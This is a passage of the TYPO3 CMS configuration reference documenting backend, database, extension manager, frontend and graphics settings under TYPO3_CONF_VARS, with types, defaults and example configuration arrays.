IMPORTANT: This feature requires extra .htaccess rules to work (please refer to the typo3/sysext/install/Resources/Private/FolderStructureTemplateFiles/root-htaccess file shipped with TYPO3).

If disabled the last modification date of the file will be appended as a query-string.

debug

$GLOBALS['TYPO3_CONF_VARS']['BE']['debug']

$GLOBALS['TYPO3_CONF_VARS']['BE']['debug']
type

bool

Default

false

If enabled, the login refresh is disabled and pageRenderer is set to debug mode. Furthermore the fieldname is appended to the label of fields. Use this to debug the backend only!

toolbarItems

toolbarItems

toolbarItems
type

array

Default

[]

Registered toolbar items classes

HTTP

$GLOBALS['TYPO3_CONF_VARS']['BE']['HTTP']

$GLOBALS['TYPO3_CONF_VARS']['BE']['HTTP']
type

array

Default
[
   'Response' => [
      'Headers' => ['clickJackingProtection' => 'X-Frame-Options: SAMEORIGIN']
   ]
]
Copied!

Set HTTP headers to be sent with each backend request. Other keys than ['Response']['Headers'] are ignored.

passwordHashing

className

$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordHashing']['className']

$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordHashing']['className']
type

string

Default

\TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2iPasswordHash::class

allowedValues
\TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2iPasswordHash::class
Good password hash mechanism. Used by default if available.
\TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2idPasswordHash::class
Good password hash mechanism.
\TYPO3\CMS\Core\Crypto\PasswordHashing\BcryptPasswordHash::class
Good password hash mechanism.
\TYPO3\CMS\Core\Crypto\PasswordHashing\Pbkdf2PasswordHash::class
Fallback hash mechanism if argon and bcrypt are not available.
\TYPO3\CMS\Core\Crypto\PasswordHashing\PhpassPasswordHash::class
Fallback hash mechanism if none of the above are available.

options

$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordHashing']['options']

$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordHashing']['options']
type

array

Default

[]

Special settings for specific hashes. See Available hash algorithms for the different options depending on the algorithm.

DB - Database connections

The following configuration variables can be used to configure settings for the connection to the database:

additionalQueryRestrictions

$GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions']

$GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions']
Type
array
Default
[]

It is possible to add additional query restrictions by adding class names as key to $GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions'] . Have a look into the chapter Custom restrictions for details.

Connections

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']
Type
array

One or more database connections can be configured under the Connections key. There must be at least one configuration with the Default key, in which the default database is configured, for example:

typo3conf/LocalConfiguration.php
'Connections' => [
    'Default' => [
        'charset' => 'utf8mb4',
        'driver' => 'mysqli',
        'dbname' => 'typo3_database',
        'host' => '127.0.0.1',
        'password' => 'typo3',
        'port' => 3306,
        'user' => 'typo3',
    ],
]
Copied!

It is possible to swap out tables from the default database and use a specific setup (for instance, for caching). For example, the following snippet could be used to swap the be_sessions table to another database or even another database server:

typo3conf/LocalConfiguration.php
'Connections' => [
    'Default' => [
        'charset' => 'utf8mb4',
        'driver' => 'mysqli',
        'dbname' => 'typo3_database',
        'host' => '127.0.0.1',
        'password' => '***',
        'port' => 3306,
        'user' => 'typo3',
    ],
    'Sessions' => [
        'charset' => 'utf8mb4',
        'driver' => 'mysqli',
        'dbname' => 'sessions_dbname',
        'host' => 'sessions_host',
        'password' => '***',
        'port' => 3306,
        'user' => 'some_user',
    ],
],
'TableMapping' => [
    'be_sessions' => 'Sessions',
]
Copied!

charset

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['charset']

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['charset']
Type
string
Default
'utf8'

The charset used when connecting to the database. Can be used with MySQL/MariaDB and PostgreSQL.

dbname

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['dbname']

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['dbname']
Type
string

Name of the database/schema to connect to. Can be used with MySQL/MariaDB and PostgreSQL.

driver

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['driver']

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['driver']
Type
string

The built-in driver implementation to use. The following drivers are currently available:

mysqli
A MySQL/MariaDB driver that uses the mysqli extension.
pdo_mysql
A MySQL/MariaDB driver that uses the pdo_mysql PDO extension.
pdo_pgsql
A PostgreSQL driver that uses the pdo_pgsql PDO extension.
pdo_sqlite
An SQLite driver that uses the pdo_sqlite PDO extension.

host

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['host']

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['host']
Type
string

Hostname or IP address of the database to connect to. Can be used with MySQL/MariaDB and PostgreSQL.

password

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['password']

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['password']
Type
string

Password to use when connecting to the database.

path

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['path']

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['path']
Type
string

The filesystem path to the SQLite database file.

port

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['port']

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['port']
Type
string

Port of the database to connect to. Can be used with MySQL/MariaDB and PostgreSQL.

tableoptions

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['tableoptions']

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['tableoptions']
Type
array
Default
[]

Defines the charset and collate options for tables for MySQL/MariaDB:

typo3conf/LocalConfiguration.php
'Connections' => [
    'Default' => [
        'driver' => 'mysqli',
        // ...
        'charset' => 'utf8mb4',
        'tableoptions' => [
            'charset' => 'utf8mb4',
            'collate' => 'utf8mb4_unicode_ci',
        ],
    ],
]
Copied!

For new installations the above is the default.

unix_socket

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['unix_socket']

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['unix_socket']
Type
string

Name of the socket used to connect to the database. Can be used with MySQL/MariaDB.

user

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['user']

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['user']
Type
string

Username to use when connecting to the database.

TableMapping

$GLOBALS['TYPO3_CONF_VARS']['DB']['TableMapping']

$GLOBALS['TYPO3_CONF_VARS']['DB']['TableMapping']
Type
array
Default
[]

When a TYPO3 table is swapped to another database (either on the same host or another host) this table must be mapped to the other database.

For example, the be_sessions table should be swapped to another database:

typo3conf/LocalConfiguration.php
'Connections' => [
    'Default' => [
        // ...
    ],
    'Sessions' => [
        'charset' => 'utf8mb4',
        'driver' => 'mysqli',
        'dbname' => 'sessions_dbname',
        'host' => 'sessions_host',
        'password' => '***',
        'port' => 3306,
        'user' => 'some_user',
    ],
],
'TableMapping' => [
    'be_sessions' => 'Sessions',
]
Copied!

EXT - Extension manager configuration

The following configuration variables can be used to configure settings for the Extension manager:

$GLOBALS['TYPO3_CONF_VARS']['EXT']['allowGlobalInstall']

allowGlobalInstall

allowGlobalInstall
Path

$GLOBALS['TYPO3_CONF_VARS']['EXT']

type

bool

Default

false

If set, global extensions in typo3/ext/ are allowed to be installed, updated and deleted etc.

$GLOBALS['TYPO3_CONF_VARS']['EXT']['allowLocalInstall']

allowLocalInstall

allowLocalInstall
Path

$GLOBALS['TYPO3_CONF_VARS']['EXT']

type

bool

Default

true

If set, local extensions in typo3conf/ext/ are allowed to be installed, updated and deleted etc.

excludeForPackaging

$GLOBALS['TYPO3_CONF_VARS']['EXT']['excludeForPackaging']

$GLOBALS['TYPO3_CONF_VARS']['EXT']['excludeForPackaging']
Path

$GLOBALS['TYPO3_CONF_VARS']['EXT']

type

list

Default

'(?:\\.(?!htaccess$).*|.*~|.*\\.swp|.*\\.bak|node_modules|bower_components)'

List of directories and files which will not be packaged into extensions nor taken into account otherwise by the Extension Manager. Perl regular expression syntax!

FE - frontend configuration

The following configuration variables can be used to configure settings for the TYPO3 frontend:

addAllowedPaths

$GLOBALS['TYPO3_CONF_VARS']['FE']['addAllowedPaths']

$GLOBALS['TYPO3_CONF_VARS']['FE']['addAllowedPaths']
Type
list
Default
''

Additional relative paths (comma-list) to allow TypoScript resources be in. Should be prepended with /. If not, then any path where the first part is like this path will match. That is myfolder/ , myarchive will match for example myfolder/, myarchive/, myarchive_one/, myarchive_2/ ...

No check is done to see if this directory actually exists in the root of the site. Paths are matched by simply checking if these strings equals the first part of any TypoScript resource filepath.

(See class template, function init() in \TYPO3\CMS\Core\TypoScript\Parser\TypoScriptParser )

debug

$GLOBALS['TYPO3_CONF_VARS']['FE']['debug']

$GLOBALS['TYPO3_CONF_VARS']['FE']['debug']
Type
bool
Default
false

If enabled, the total parse time of the page is added as HTTP response header X-TYPO3-Parsetime. This can also be enabled/disabled via the TypoScript option config.debug = 0.

compressionLevel

$GLOBALS['TYPO3_CONF_VARS']['FE']['compressionLevel']

$GLOBALS['TYPO3_CONF_VARS']['FE']['compressionLevel']
Type
int
Default
0

Determines output compression of FE output. Makes output smaller but slows down the page generation depending on the compression level. Requires zlib in your PHP installation. Range 1-9, where 1 is least compression and 9 is greatest compression. true as value will set the compression based on the PHP default settings (usually 5). Suggested and most optimal value is 5.

pageNotFoundOnCHashError

$GLOBALS['TYPO3_CONF_VARS']['FE']['pageNotFoundOnCHashError']

$GLOBALS['TYPO3_CONF_VARS']['FE']['pageNotFoundOnCHashError']
Type
bool
Default
true

If TRUE, a page not found call is made when cHash evaluation error occurs, otherwise caching is disabled and page output is displayed.

pageUnavailable_force

$GLOBALS['TYPO3_CONF_VARS']['FE']['pageUnavailable_force']

$GLOBALS['TYPO3_CONF_VARS']['FE']['pageUnavailable_force']
Type
bool
Default
false

If TRUE, every frontend page is shown as "unavailable". If the client matches [SYS][devIPmask], the page is shown as normal. This is useful during temporary site maintenance.

addRootLineFields

$GLOBALS['TYPO3_CONF_VARS']['FE']['addRootLineFields']

$GLOBALS['TYPO3_CONF_VARS']['FE']['addRootLineFields']
Type
list
Default
''

Comma-list of fields from the pages-table. These fields are added to the select query for fields in the rootline.

checkFeUserPid

$GLOBALS['TYPO3_CONF_VARS']['FE']['checkFeUserPid']

$GLOBALS['TYPO3_CONF_VARS']['FE']['checkFeUserPid']
Type
bool
Default
true

If set, the pid of fe_user logins must be sent in the form as the field pid and then the user must be located in the pid. If you unset this, you should change the fe_users username eval-flag uniqueInPid to unique in $TCA.

This will do $TCA[fe_users][columns][username][config][eval]= nospace,lower,required,unique;

loginRateLimit

$GLOBALS['TYPO3_CONF_VARS']['FE']['loginRateLimit']

$GLOBALS['TYPO3_CONF_VARS']['FE']['loginRateLimit']
Type
int
Default
5

Maximum amount of login attempts for the time interval in [FE][loginRateLimitInterval], before further login requests will be denied. Setting this value to "0" will disable login rate limiting.

loginRateLimitInterval

$GLOBALS['TYPO3_CONF_VARS']['FE']['loginRateLimitInterval']

$GLOBALS['TYPO3_CONF_VARS']['FE']['loginRateLimitInterval']
Type
string, PHP relative format
Default
'15 minutes'
allowedValues
'1 minute', '5 minutes', '15 minutes', '30 minutes'

Allowed time interval for the configured rate limit. Individual values using PHP relative formats can be set in AdditionalConfiguration.php.

loginRateLimitIpExcludeList

$GLOBALS['TYPO3_CONF_VARS']['FE']['loginRateLimitIpExcludeList']

$GLOBALS['TYPO3_CONF_VARS']['FE']['loginRateLimitIpExcludeList']
Type
string
Default
''

IP-numbers (with *-wildcards) that are excluded from rate limiting. Syntax similar to [BE][IPmaskList]. An empty value disables the exclude list check.

lockIP

$GLOBALS['TYPO3_CONF_VARS']['FE']['lockIP']

$GLOBALS['TYPO3_CONF_VARS']['FE']['lockIP']
Type
int
Default
0
allowedValues
1 0 Default Do not lock Frontend User sessions to their IP address at all 1 Use the first part of the visitors IPv4 address (for example "192.") as part of the session locking of Frontend Users 2 Use the first two parts of the visitors IPv4 address (for example "192.168") as part of the session locking of Frontend Users 3 Use the first three parts of the visitors IPv4 address (for example "192.168.13") as part of the session locking of Frontend Users 4 Use the visitors full IPv4 address (for example "192.168.13.84") as part of the session locking of Frontend Users (highest security)

If activated, Frontend Users are locked to (a part of) their public IP ( $_SERVER[REMOTE_ADDR]) for their session, if REMOTE_ADDR is an IPv4-address. Enhances security but may throw off users that may change IP during their session (in which case you can lower it). The integer indicates how many parts of the IP address to include in the check for the session.

Have also a look into the security guidelines.

lockIPv6

$GLOBALS['TYPO3_CONF_VARS']['FE']['lockIPv6']

$GLOBALS['TYPO3_CONF_VARS']['FE']['lockIPv6']
Type
int
Default
0
allowedValues
1 0 Default: Do not lock Backend User sessions to their IP address at all 1 Use the first block (16 bits) of the editors IPv6 address (for example "2001") as part of the session locking of Backend Users 2 Use the first two blocks (32 bits) of the editors IPv6 address (for example "20010db8") as part of the session locking of Backend Users 3 Use the first three blocks (48 bits) of the editors IPv6 address (for example "20010db885a3") as part of the session locking of Backend Users 4 Use the first four blocks (64 bits) of the editors IPv6 address (for example "20010db885a308d3") as part of the session locking of Backend Users 5 Use the first five blocks (80 bits) of the editors IPv6 address (for example "20010db885a308d31319") as part of the session locking of Backend Users 6 Use the first six blocks (96 bits) of the editors IPv6 address (for example "20010db885a308d313198a2e") as part of the session locking of Backend Users 7 Use the first seven blocks (112 bits) of the editors IPv6 address (for example "20010db885a308d313198a2e0370") as part of the session locking of Backend Users 8 Use the visitors full IPv6 address (for example "20010db885a308d313198a2e03707344") as part of the session locking of Backend Users (highest security)

If activated, Frontend Users are locked to (a part of) their public IP ( $_SERVER[REMOTE_ADDR]) for their session, if REMOTE_ADDR is an IPv6-address. Enhances security but may throw off users that may change IP during their session (in which case you can lower it). The integer indicates how many parts of the IP address to include in the check for the session.

loginSecurityLevel

Deprecated since version 11.3

This option got removed with version 11.3. The only possible value has been 'normal'. This behaviour stays unchanged. When this option has been set in your LocalConfiguration.php or AdditionalConfiguration.php files, they are automatically removed when accessing the admin tool or system maintenance area.

lifetime

$GLOBALS['TYPO3_CONF_VARS']['FE']['lifetime']

$GLOBALS['TYPO3_CONF_VARS']['FE']['lifetime']
Type
int
Default
0

If greater then 0 and the option permalogin is greater or equal 0, the cookie of FE users will have a lifetime of the number of seconds this value indicates. Otherwise it will be a session cookie (deleted when browser is shut down). Setting this value to 604800 will result in automatic login of FE users during a whole week, 86400 will keep the FE users logged in for a day.

sessionTimeout

$GLOBALS['TYPO3_CONF_VARS']['FE']['sessionTimeout']

$GLOBALS['TYPO3_CONF_VARS']['FE']['sessionTimeout']
Type
int
Default
6000

Server side session timeout for frontend users in seconds. Will be overwritten by the lifetime property if the lifetime is longer.

sessionDataLifetime

$GLOBALS['TYPO3_CONF_VARS']['FE']['sessionDataLifetime']

$GLOBALS['TYPO3_CONF_VARS']['FE']['sessionDataLifetime']
Type
int
Default
86400

If greater then 0, the session data of an anonymous session will timeout and be removed after the number of seconds given (86400 seconds represents 24 hours).

permalogin

$GLOBALS['TYPO3_CONF_VARS']['FE']['permalogin']

$GLOBALS['TYPO3_CONF_VARS']['FE']['permalogin']
Type
text
Default
0
-1
Permanent login for FE users is disabled
0
By default permalogin is disabled for FE users but can be enabled by a form control in the login form.
1
Permanent login is by default enabled but can be disabled by a form control in the login form.
2
Permanent login is forced to be enabled.

In any case, permanent login is only possible if [FE][lifetime] lifetime is greater then 0.

cookieDomain

$GLOBALS['TYPO3_CONF_VARS']['FE']['cookieDomain']

$GLOBALS['TYPO3_CONF_VARS']['FE']['cookieDomain']
Type
text
Default
''

Same as $TYPO3_CONF_VARS[SYS][cookieDomain]<_typo3ConfVars_sys_cookieDomain> but only for FE cookies. If empty, $TYPO3_CONF_VARS[SYS][cookieDomain] value will be used.

cookieName

$GLOBALS['TYPO3_CONF_VARS']['FE']['cookieName']

$GLOBALS['TYPO3_CONF_VARS']['FE']['cookieName']
Type
text
Default
'fe_typo_user'

Sets the name for the cookie used for the front-end user session

cookieSameSite

$GLOBALS['TYPO3_CONF_VARS']['FE']['cookieSameSite']

$GLOBALS['TYPO3_CONF_VARS']['FE']['cookieSameSite']
Type
text
Default
'lax'
allowedValues
1 lax Cookies set by TYPO3 are only available for the current site, third-party integrations are not allowed to read cookies, except for links and simple HTML forms strict Cookies sent by TYPO3 are only available for the current site, never shared to other third-party packages none Allow cookies set by TYPO3 to be sent to other sites as well, please note - this only works with HTTPS connections

Indicates that the cookie should send proper information where the cookie can be shared (first-party cookies vs. third-party cookies) in TYPO3 Frontend.

defaultUserTSconfig

$GLOBALS['TYPO3_CONF_VARS']['FE']['defaultUserTSconfig']

$GLOBALS['TYPO3_CONF_VARS']['FE']['defaultUserTSconfig']
Type
multiline
Default
''

Enter lines of default frontend user/group TSconfig.

defaultTypoScript_constants

$GLOBALS['TYPO3_CONF_VARS']['FE']['defaultTypoScript_constants']

$GLOBALS['TYPO3_CONF_VARS']['FE']['defaultTypoScript_constants']
Type
multiline
Default
''

Enter lines of default TypoScript, constants-field.

defaultTypoScript_setup

$GLOBALS['TYPO3_CONF_VARS']['FE']['defaultTypoScript_setup']

$GLOBALS['TYPO3_CONF_VARS']['FE']['defaultTypoScript_setup']
Type
multiline
Default
''

Enter lines of default TypoScript, setup-field.

additionalAbsRefPrefixDirectories

$GLOBALS['TYPO3_CONF_VARS']['FE']['additionalAbsRefPrefixDirectories']

$GLOBALS['TYPO3_CONF_VARS']['FE']['additionalAbsRefPrefixDirectories']
Type
text
Default
''

Enter additional directories to be prepended with absRefPrefix. Directories must be comma-separated. TYPO3 already prepends the following directories typo3/, typo3temp/, typo3conf/ext/ and all local storages

enable_mount_pids

$GLOBALS['TYPO3_CONF_VARS']['FE']['enable_mount_pids']

$GLOBALS['TYPO3_CONF_VARS']['FE']['enable_mount_pids']
Type
bool
Default
true

If enabled, the mount_pid feature allowing symlinks in the page tree (for frontend operation) is allowed.

hidePagesIfNotTranslatedByDefault

$GLOBALS['TYPO3_CONF_VARS']['FE']['hidePagesIfNotTranslatedByDefault']

$GLOBALS['TYPO3_CONF_VARS']['FE']['hidePagesIfNotTranslatedByDefault']
Type
bool
Default
false

If enabled, pages that have no translation will be hidden by default. Basically this will inverse the effect of the page localization setting "Hide page if no translation for current language exists" to "Show page even if no translation exists"

eID_include

$GLOBALS['TYPO3_CONF_VARS']['FE']['eID_include']

$GLOBALS['TYPO3_CONF_VARS']['FE']['eID_include']
Type
array
Default
[]
Array of key/value pairs where the key is tx_[ext]_[optional suffix]
and value is relative filename of class to include. Key is used as "?eID=" for \TYPO3\CMS\Frontend\Http\RequestHandlerRequestHandler to include the code file which renders the page from that point.

(Useful for functionality that requires a low initialization footprint, for example frontend Ajax applications)

disableNoCacheParameter

$GLOBALS['TYPO3_CONF_VARS']['FE']['disableNoCacheParameter']

$GLOBALS['TYPO3_CONF_VARS']['FE']['disableNoCacheParameter']
Type
bool
Default
false

If set, the no_cache request parameter will become ineffective. This is currently still an experimental feature and will require a website only with plugins that dont use this parameter. However, using "&amp;no_cache=1" should be avoided anyway because there are better ways to disable caching for a certain part of the website (see COA_INT/USER_INT<t3tsref:cobj-coa-int>).

additionalCanonicalizedUrlParameters

$GLOBALS['TYPO3_CONF_VARS']['FE']['additionalCanonicalizedUrlParameters']

$GLOBALS['TYPO3_CONF_VARS']['FE']['additionalCanonicalizedUrlParameters']
Type
array
Default
[]

The given parameters will be included when calculating canonicalized URL

cacheHash

cachedParametersWhiteList

$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['cachedParametersWhiteList']

$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['cachedParametersWhiteList']
Type
array
Default
[]

Only the given parameters will be evaluated in the cHash calculation. Example:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['cachedParametersWhiteList'][] = 'tx_news_pi1[uid]';
Copied!

requireCacheHashPresenceParameters

$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['requireCacheHashPresenceParameters']

$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['requireCacheHashPresenceParameters']
Type
array
Default
[]

Configure Parameters that require a cHash. If no cHash is given but one of the parameters are set, then TYPO3 triggers the configured cHash Error behaviour

excludedParameters

$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['excludedParameters']

$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['excludedParameters']
Type
array
Default
['L', 'pk_campaign', 'pk_kwd', 'utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content', 'gclid', 'fbclid']
The given parameters will be ignored in the cHash calculation.
Example:
typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['excludedParameters'] = ['L','tx_search_pi1[query]'];
Copied!

excludedParametersIfEmpty

$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['excludedParametersIfEmpty']

$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['excludedParametersIfEmpty']
Type
array
Default
[]

Configure Parameters that are only relevant for the cHash if there's an associated value available. Set excludeAllEmptyParameters to true to skip all empty parameters.

excludeAllEmptyParameters

$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['excludeAllEmptyParameters']

$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['excludeAllEmptyParameters']
Type
bool
Default
false

If true, all parameters which are relevant for cHash are only considered if they are non-empty.

enforceValidation

New in version 10.4.35/11.5.23

$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['enforceValidation']

$GLOBALS['TYPO3_CONF_VARS']['FE']['cacheHash']['enforceValidation']
Type
bool
Default
false (for existing installations), true (for new installations)

If this option is enabled, the same validation is used to calculate a "cHash" value as when a valid or invalid "cHash" parameter is given to a request, even when no "cHash" is given.

Details:

Since TYPO3 v9 and the PSR-15 middleware concept, cHash validation has been moved outside of plugins and rendering code inside a validation middleware to check if a given "cHash" acts as a signature of other query parameters in order to use a cached version of a frontend page.

However, the check only provided information about an invalid "cHash" in the query parameters. If no "cHash" was given, the only option was to add a "required list" (global TYPO3 configuration option requireCacheHashPresenceParameters), but not based on the final excludedParameters for the cache hash calculation of the given query parameters.

workspacePreviewLogoutTemplate

$GLOBALS['TYPO3_CONF_VARS']['FE']['workspacePreviewLogoutTemplate']

$GLOBALS['TYPO3_CONF_VARS']['FE']['workspacePreviewLogoutTemplate']
Type
text
Default
''

If set, points to an HTML file relative to the TYPO3_site root which will be read and outputted as template for this message. Example fileadmin/templates/template_workspace_preview_logout.html.

Inside you can put the marker %1$s to insert the URL to go back to. Use this in <a href="%1$s">Go back...</a> links.

versionNumberInFilename

$GLOBALS['TYPO3_CONF_VARS']['FE']['versionNumberInFilename']

$GLOBALS['TYPO3_CONF_VARS']['FE']['versionNumberInFilename']
Type
dropdown
Default
'querystring'
allowedValues
1 '' "Do not include the version/timestamp of the file at all" 'embed' Include the timestamp of the last modification timestamp of files embedded in the filename - for example filename.1269312081.js 'querystring' Default - Append the last modification timestamp of the file as query string for example filename.js?1269312081

Allows to automatically include a version number (timestamp of the file) to referred CSS and JS filenames on the rendered page. This will make browsers and proxies reload the files if they change (thus avoiding caching issues).

IMPORTANT embed requires extra .htaccess rules to work (please refer to the root-htaccess file shipped with TYPO3 in typo3/sysext/install/Resources/Private/FolderStructureTemplateFiles)

contentRenderingTemplates

$GLOBALS['TYPO3_CONF_VARS']['FE']['contentRenderingTemplates']

$GLOBALS['TYPO3_CONF_VARS']['FE']['contentRenderingTemplates']
Type
array
Default
[]

Array to define the TypoScript parts that define the main content rendering.

Extensions like fluid_styled_content provide content rendering templates. Other extensions like felogin or indexed search extend these templates and their TypoScript parts are added directly after the content templates.

See EXT:fluid_styled_content/ext_localconf.php and EXT:frontend/Classes/TypoScript/TemplateService.php

ContentObjects

ContentObjects

ContentObjects
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']
Default
[]

Array to register ContentObjects (cObjects) like TEXT or HMENU within ext_localconf.php, see EXT:frontend/ext_localconf.php

typolinkBuilder

$GLOBALS['TYPO3_CONF_VARS']['FE']['typolinkBuilder']

$GLOBALS['TYPO3_CONF_VARS']['FE']['typolinkBuilder']
Type
array

Matches the LinkService implementations for generating URLs and link texts via typolink. This configuration value can be used to register a custom link builder for the frontend generation of links.

Default value of $GLOBALS['TYPO3_CONF_VARS']['FE']['typolinkBuilder']
[
    'page' => \TYPO3\CMS\Frontend\Typolink\PageLinkBuilder::class,
    'file' => \TYPO3\CMS\Frontend\Typolink\FileOrFolderLinkBuilder::class,
    'folder' => \TYPO3\CMS\Frontend\Typolink\FileOrFolderLinkBuilder::class,
    'url' => \TYPO3\CMS\Frontend\Typolink\ExternalUrlLinkBuilder::class,
    'email' => \TYPO3\CMS\Frontend\Typolink\EmailLinkBuilder::class,
    'record' => \TYPO3\CMS\Frontend\Typolink\DatabaseRecordLinkBuilder::class,
    'telephone' => \TYPO3\CMS\Frontend\Typolink\TelephoneLinkBuilder::class,
    'unknown' => \TYPO3\CMS\Frontend\Typolink\LegacyLinkBuilder::class,
]
Copied!

passwordHashing

className

$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordHashing']['className']

$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordHashing']['className']
Type
string
Default
\TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2iPasswordHash::class
allowedValues
1 \TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2iPasswordHash::class Good password hash mechanism. Used by default if available. \TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2idPasswordHash::class Good password hash mechanism. \TYPO3\CMS\Core\Crypto\PasswordHashing\BcryptPasswordHash::class Good password hash mechanism. \TYPO3\CMS\Core\Crypto\PasswordHashing\Pbkdf2PasswordHash::class Fallback hash mechanism if argon and bcrypt are not available. \TYPO3\CMS\Core\Crypto\PasswordHashing\PhpassPasswordHash::class Fallback hash mechanism if none of the above are available.

options

$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordHashing']['options']

$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordHashing']['options']
Type
array
Default
[]

Special settings for specific hashes.

exposeRedirectInformation

$GLOBALS['TYPO3_CONF_VARS']['FE']['exposeRedirectInformation']

$GLOBALS['TYPO3_CONF_VARS']['FE']['exposeRedirectInformation']
Type
bool
Default
false

If set, redirects executed by TYPO3 publicly expose the page ID in the HTTP header. As this is an internal information about the TYPO3 system, it should only be enabled for debugging purposes.

GFX - graphics configuration

The following configuration variables can be used to configure settings for the handling of images and graphics:

thumbnails

$GLOBALS['TYPO3_CONF_VARS']['GFX']['thumbnails']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['thumbnails']
type

bool

Default

true

Enables the use of thumbnails in the backend interface.

thumbnails_png

$GLOBALS['TYPO3_CONF_VARS']['GFX']['thumbnails_png']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['thumbnails_png']
type

bool

Default

true

If disabled, thumbnails from non-image files will be converted to gif, otherwise png (default).

gif_compress

$GLOBALS['TYPO3_CONF_VARS']['GFX']['gif_compress']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['gif_compress']
type

bool

Default

true

Enables the use of the \TYPO3\CMS\Core\Imaging\GraphicalFunctionsgifCompress() workaround function for compressing .gif files made with GD or IM, which probably use only RLE or no compression at all.

imagefile_ext

$GLOBALS['TYPO3_CONF_VARS']['GFX']['imagefile_ext']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['imagefile_ext']
type

list

Default

'gif,jpg,jpeg,tif,tiff,bmp,pcx,tga,png,pdf,ai,svg'

Comma-separated list of file extensions perceived as images by TYPO3. List should be set to 'gif,png,jpeg,jpg' if IM is not available. Lowercase and no spaces between!

gdlib

$GLOBALS['TYPO3_CONF_VARS']['GFX']['gdlib']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['gdlib']
type

bool

Default

true

Enables the use of GD.

gdlib_png

$GLOBALS['TYPO3_CONF_VARS']['GFX']['gdlib_png']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['gdlib_png']
type

bool

Default

false

Enables the use of GD, with PNG only. This means that all items normally generated as gif-files will be png-files instead!

processor_enabled

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_enabled']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_enabled']
type

bool

Default

true

Enables the use of Image- or GraphicsMagick.

processor_path

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_path']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_path']
type

text

Default

'/usr/bin/'

Path to the IM tools convert, combine, identify.

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_path_lzw']

processor_path_lzw

processor_path_lzw
Path

$GLOBALS['TYPO3_CONF_VARS']['GFX']

type

text

Default

'/usr/bin/'

Path to the IM tool convert with LZW enabled! See gif_compress. If your version 4.2.9 of ImageMagick is compiled with LZW you may leave this field blank AND disable the flag gif_compress.

processor

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor']
type

dropdown

Default

'ImageMagick'

allowedValues
ImageMagick
Choose ImageMagick for processing images
GraphicsMagick
Choose GraphicsMagick for processing images

Select which external software on the server should process images - see also the preset functionality to see what is available.

processor_effects

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_effects']

